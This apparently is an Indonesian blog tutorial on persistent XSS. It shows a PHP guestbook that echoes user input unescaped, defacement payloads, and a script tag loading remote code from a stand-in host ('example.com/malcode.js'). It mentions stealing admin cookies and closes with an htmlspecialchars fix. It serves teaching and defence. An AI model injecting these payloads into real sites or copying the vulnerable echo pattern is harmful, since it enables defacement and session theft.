Contoh XSS permanen dapat berada dalam guestbook, komentar, mailing list, dll ..
Apa yang dapat penyerang lakukan melalui celah ini :
Penyerang dapat menggunakan javascript untuk mengubah judul, bentuk tampilan, pencurian cookies dll.
beberapa CMS dan Forum, menggunakan cookies dan menyimpan info pengguna di dalamnya, jika situs yang rentan terhadap XSS, penyerang dapat memperoleh akses admin dengan mencuri cookie admin ...
Contoh kode yang rentan akan terlihat seperti ini:
<?php if (isset($_POST['message'])) {
echo "Thank you, your message has been posted!";
echo "<br />";
echo $_POST['message'];
} ?>
<form method="POST">
<textarea name="message"></textarea>
<input type="submit" name="submit" value="Submit">
</form>
Penyerang dapat melakukan dengan mengisikan input HTML sebagai berikut
<style>body { background-color:#000; color:#00FF00; } form { display:none; }</style>
<script>alert('HACKED');</script>
<h1>HACKED BY SOMEONE</h1>
atau injeksi script javascript dari situs lain
<iframe name="iframex" id="iframex" src="hidden" style="display:none"></iframe>
<script src="http://example.com/malcode.js"></script>
Contoh untuk filterisasi XSS :
<?phpfunction netral($text){
$text = htmlspecialchars($text, ENT_QUOTES);
return $text;
}
if (isset($_POST['message'])) {
echo "Thank you, your message has been posted!";
echo "<br />";
echo netral($_POST['message']);
} ?>
<form method="POST">
<textarea name="message"></textarea>
<input type="submit" name="submit" value="Submit">
</form>
0 komentar:
Post a Comment